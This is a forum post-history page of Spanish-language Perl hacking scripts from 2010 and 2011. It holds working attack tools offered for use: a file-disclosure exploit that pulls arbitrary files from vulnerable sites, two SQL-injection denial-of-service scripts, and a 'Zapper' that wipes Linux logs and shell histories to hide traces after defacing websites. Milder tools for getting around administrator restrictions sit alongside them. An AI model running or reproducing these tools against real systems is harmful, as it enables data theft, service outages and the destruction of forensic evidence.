elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 ... 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 [55]
541  Programación / Scripting / [Perl] Mysql Manager en: 7 Octubre 2011, 01:14 am
Un simple mysql manager , un triste intento de imitacion al comando mysql pero bueno....

Código
  1. #!usr/bin/perl 
  2. #Mysql Manager (C) Doddy Hackman 2011
  3. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  4.  
  5. use DBI;
  6.  
  7. sub head {
  8. print "\n\n -- == Mysql Manager == --\n\n";
  9. }
  10.  
  11. sub copyright {
  12. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  13. exit(1);
  14. }
  15.  
  16. sub sintax {
  17. print "\n[+] Sintax : $0 <host> <user> <pass>\n";
  18. } 
  19.  
  20. head();
  21. unless (@ARGV > 2) {
  22. sintax();
  23. } else {
  24. enter($ARGV[0],$ARGV[1],$ARGV[2]);
  25. }
  26. copyright();
  27.  
  28. sub enter {
  29.  
  30. print "\n[+] Connecting to the server\n";
  31.  
  32. $info = "dbi:mysql::".$_[0].":3306";
  33. if (my $enter = DBI->connect($info,$_[1],$_[2],{PrintError=>0})) {
  34.  
  35. print "\n[+] Enter in the database";
  36.  
  37. while(1) {
  38. print "\n\n\n[+] Query : ";
  39. chomp(my $ac = <stdin>);
  40.  
  41. if ($ac eq "exit") {
  42. $enter->disconnect;
  43. print "\n\n[+] Closing connection\n\n";
  44. copyright();
  45. }
  46.  
  47. $re = $enter->prepare($ac);
  48. $re->execute();
  49. my $total = $re->rows();
  50.  
  51. my @columnas = @{$re->{NAME}};
  52.  
  53. if ($total eq "-1") {
  54. print "\n\n[-] Query Error\n";
  55. next;
  56. } else {
  57. print "\n\n[+] Result of the query\n";
  58. if ($total eq 0) {
  59. print "\n\n[+] Not rows returned\n\n";
  60. } else {
  61. print "\n\n[+] Rows returned : ".$total."\n\n\n";
  62. for(@columnas) {
  63. print $_."\t\t";
  64. }
  65. print "\n\n";
  66. while (@row = $re->fetchrow_array) {
  67. for(@row) {
  68. print $_."\t\t";
  69. }
  70. print "\n";
  71. }}}}
  72. } else {
  73. print "\n[-] Error connecting\n";
  74. }}
  75.  
  76. # ¿ The End ?


Un ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlman>manager.PL localhost root ""


 -- == Mysql Manager == --


[+] Connecting to the server

[+] Enter in the database


[+] Query : show databases


[+] Result of the query


[+] Rows returned : 6


Database

information_schema
cdcol
hackman
mysql
phpmyadmin
test



[+] Query : exit


[+] Closing connection



-- == (C) Doddy Hackman 2011 == --
542  Programación / Scripting / [Perl] FSD Exploit Manager en: 7 Octubre 2011, 01:14 am
Un simple exploit que nos ayuda a explotar la vulnerabilidad Full Source Discloure de una forma muy relajante , lo bueno de este programa es que guarda todo lo descargado en una carpeta creada por el programa mismo.
Ademas detecta automaticamente Full Path Discloure para conocer las rutas necesarias para descargar
archivos.


Código
  1. #!usr/bin/perl
  2. #FSD Exploit Manager (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5. use URI::Split qw(uri_split);
  6. use File::Basename;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  10. $nave->timeout(5);
  11.  
  12. $SIG{INT} = \&adios;
  13.  
  14. head();
  15. if($ARGV[0]) {
  16. ver($ARGV[0]);
  17. } else {
  18. sintax();
  19. }
  20. copyright();
  21.  
  22. sub ver {
  23.  
  24. my $page = shift;
  25. print "\n[+] Target : ".$page."\n\n";
  26.  
  27. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  28.  
  29. if ($path=~/\/(.*)$/) { 
  30. my $me = $1;
  31. $code1 = toma($page.$me);
  32. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  33. print "[+] Full Source Discloure Detect\a\n";
  34. $code2 = toma($page."'");
  35. if ($code2=~/No such file or directory in <b>(.*)<\/b> on line/) {
  36. print "\n[+] Full Path Dislocure Detect : ".$1."\n";
  37. }
  38. installer();
  39. while(1) {
  40. print "\n\nurl>";
  41. $SIG{INT} = \&adios;
  42. chomp(my $url = <stdin>);
  43. if (download($page.$url,"fsdlogs/".basename($url))) {
  44. print "\n\n[+] File Downloaded\n";
  45. system("start fsdlogs/".basename($url));
  46. }
  47. }
  48. } else {
  49. print "[-] Web not vulnerable\n\n";
  50. }
  51. }
  52. }
  53.  
  54. sub adios {
  55. print "\n\n[+] Good Bye\n";
  56. copyright();
  57. }
  58.  
  59. sub head {
  60. print "\n\n-- == FSD Exploit Manager == --\n\n";
  61. }
  62.  
  63. sub copyright {
  64. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  65. exit(1);
  66. }
  67.  
  68. sub sintax {
  69. print "\n[+] Sintax : $0 <page>\n";
  70. }
  71.  
  72. sub toma {
  73. return $nave->get($_[0])->content;
  74. }
  75.  
  76. sub download {
  77. if ($nave->mirror($_[0],$_[1])) {
  78. if (-f $_[1]) {
  79. return true;
  80. }}}
  81.  
  82. sub installer {
  83. unless (-d "fsdlogs/") {
  84. mkdir("fsdlogs/","777");
  85. }}
  86.  
  87. # ¿ The End ? 
  88.  

Un ejemplo de uso

Código:
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
FSD Exploit Manager>fsd.pl http://localhost/down.php?down=


-- == FSD Exploit Manager == --


[+] Target : http://localhost/down.php?down=

[+] Full Source Discloure Detect

[+] Full Path Dislocure Detect : C:\xampp\htdocs\down.php


url>c:/aca.txt


[+] File Downloaded


url>c:/aca.txt


[+] File Downloaded


[+] Good Bye


-- == (C) Doddy Hackman 2011 == --
543  Programación / Scripting / [Perl] SQLi DOS 0.1 en: 7 Octubre 2011, 01:13 am
Un simple Dos para SQLi

Código
  1. #!usr/bin/perl
  2. #SQLi Dos 0.1 (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5.  
  6. my $nave = LWP::UserAgent->new;
  7. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  8. $nave->timeout(5);
  9.  
  10. head();
  11. if($ARGV[0]) {
  12. now($ARGV[0]);
  13. } else {
  14. sintax();
  15. }
  16. copyright();
  17.  
  18. sub now {
  19. print "\n[+] Target : ".$_[0]."\n";
  20. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  21. while(true) {
  22. $SIG{INT} = \&adios;
  23. $code = toma($_[0]."zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz");
  24. unless($code->is_success) {
  25. print "[+] Web Off";
  26. copyright();
  27. }}}
  28.  
  29. sub adios {
  30. print "\n[+] Stoping attack\n";
  31. copyright();
  32. }
  33.  
  34. sub head {
  35. print "\n\n-- == SQLI Dos 0.1 == --\n\n";
  36. }
  37.  
  38. sub copyright {
  39. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  40. exit(1);
  41. }
  42.  
  43. sub sintax {
  44. print "\n[+] Sintax : $0 <page>\n";
  45. }
  46.  
  47. sub toma {
  48. return $nave->get($_[0]);
  49. }
  50.  
  51. # ¿ The End ? 
  52.  

Ejemplo de uso

Código:
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack


[+] Stoping attack


-- == (C) Doddy Hackman 2011 == --
544  Programación / Scripting / [Perl] SQLi Dos 0.2 en: 7 Octubre 2011, 01:12 am
El mismo Dos para SQLi per esta vez usando benchmark()

Código
  1. #!usr/bin/perl
  2. #SQLi Dos 0.2 (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5.  
  6. my $nave = LWP::UserAgent->new;
  7. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  8. $nave->timeout(5);
  9.  
  10. head();
  11. if($ARGV[0]) {
  12. now($ARGV[0]);
  13. } else {
  14. sintax();
  15. }
  16. copyright();
  17.  
  18. sub now {
  19. print "\n[+] Target : ".$_[0]."\n";
  20. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  21. while(true) {
  22. $SIG{INT} = \&adios;
  23. $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
  24. unless($code->is_success) {
  25. print "[+] Web Off\n";
  26. copyright();
  27. }}}
  28.  
  29. sub adios {
  30. print "\n[+] Stoping attack\n";
  31. copyright();
  32. }
  33.  
  34. sub head {
  35. print "\n\n-- == SQLI Dos 0.2 == --\n\n";
  36. }
  37.  
  38. sub copyright {
  39. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  40. exit(1);
  41. }
  42.  
  43. sub sintax {
  44. print "\n[+] Sintax : $0 <page>\n";
  45. }
  46.  
  47. sub toma {
  48. return $nave->get($_[0]);
  49. }
  50.  
  51. # ¿ The End ?

Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack

[+] Web Off


-- == (C) Doddy Hackman 2011 == --
545  Programación / Scripting / Re: BAT para copair desde ftp en: 30 Julio 2010, 18:20 pm
Perdon electra , vi mal  >:( .
546  Programación / Scripting / Re: BAT para copair desde ftp en: 30 Julio 2010, 02:39 am
sorry , hiciste doble post
547  Programación / Scripting / Re: [Perl] Zapper for Linux en: 30 Julio 2010, 00:05 am
Ok  , gracias por tu opinion
548  Programación / Scripting / [Perl] Zapper for Linux en: 29 Julio 2010, 23:20 pm
Bueno ,esta herramienta no tiene un nombre chevere pero bueno , con esta herramienta pueden
borrar sus huellas despues de hacer un masivo deface en una pobre web.
Recuerden que primero deben darle permisos y despues ejecutarlo.

Código:
#Zapper
#By Doddy Hackman

@paths = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
"/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
"/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access",
"/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
"/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
"/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var
/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth");

@comandos  = ('find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;');

print "[+] Zapping the logs\n";
for (@paths) {
if (-f $_) { system("rm -rf $_"); }
}
for (@comandos) {system($_);}
print "[+] All the logs are erased\n";

#The end
549  Programación / Scripting / [Perl] Bones X en: 29 Julio 2010, 23:18 pm
Bueno , BonesX es una herramienta que los ayudara en el momento que quieran usar una consola ms dos y
el admin la haya borrado.
Su uso no es muy dificil asi que creo que podran usarla.
Ademas les ofrece informacion de la maquina actual como : IP , SO , nombre de usuario y grupo del usuario.


Código:
#Bones X 
#Author = Doddy Hackman
#Very easy console the using if the admin delete the ms-dos original 

use Win32::IPConfig;
use Net::Nslookup;
use Color::Output;
Color::Output::Init;

&datos;

sub datos {
system ("title Bones X");
system ("cls");
$ip = nslookup(qtype => "A", domain => "localhost");
system ("prompt Doddy Hackman@$ip.com:");
$so = $^O;
$login = Win32::LoginName();
$domain = Win32::DomainName();

cprint "\x0313
Program: Bones X
Author : Doddy Hackman
\x0x30";

cprint "\x033

Your IP : $ip
SO : $so
Login : $login
Group : $domain

\n\x033";
}

inicio:;
cprint "\x037";
print "C:\\l33t\\";
print "D00d1>";
$cmd=<STDIN>;
chomp $cmd;
cprint "\n\x037";
if ($cmd eq "exit") {
exit 1;
}
elsif ($cmd eq "cls") {&datos;goto inicio}
else {
cprint "\0035";
print "\n";
system ($cmd);
cprint "\n\n\n";
goto inicio ,
}
550  Programación / Scripting / [Perl] NightVision en: 29 Julio 2010, 23:16 pm
Bueno ,esta herramienta llamada NightVision , les servira para poder ver sus propios puertos , despues tienen un menu el cual
les permitira cerrar el puerto que les venga en gana.
Esta herramienta puede servir cuando el administrador de un cyber (seguro) bloquea el administrador de tareas.

Código:
#Program : NightVision
#Author : Doddy Hackman
#Module neccesary
#ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd 

use Win32::Process::List;
use Color::Output;
Color::Output::Init;
use Win32::Process;


&clean;&options;
sub clean {
system 'cls';
system 'title NightVision';
cprint "\x0313";
print "\nNightVision 0.1\nCopyright 2010 Doddy Hackman\nMail:doddy-hackman[at]hotmail[com]\n\n";
cprint "\x0x30\n\n";
my $new = Win32::Process::List->new();  
my %process = $new->GetProcesses();
chomp %process;
$limit = "";
for my $pid (keys %process) {
if ($pid ne "") {$limit++};
push (@procer,$process{$pid});
push (@pids,$pid);
chomp (@procer,@pids);
}
$limit--;
for my $n(1..$limit) {
cprint "\x037";
print "Process Number: [$n]\tProcess name : $procer[$n]\tPID : $pids[$n]\n";
cprint "\x037";
}}

sub options {
cprint "\0035";
print "\n\nOptions :\n\n[a] : Close a process\n[b] Clean Console\n[c] Exit\n\n\n[+] Write you options : ";
$t = <STDIN>;
chomp $t;
if ($t eq "a") { &close;} elsif ($t eq "b") {&load;&clean;&options;} elsif ($t eq "c") {exit 1;} else {&load;&clean;&options;}}

sub load { system($0); }

sub close {
print "\n[+] Write the number of the process : ";
$numb = <STDIN>;
chomp $numb;
Win32::Process::KillProcess(@pids[$numb],@procer[$numb]);
print "\n\n[+] OK , Process Closed\n\n";&load;&clean;&options;
}
Páginas: 1 ... 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 [55]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines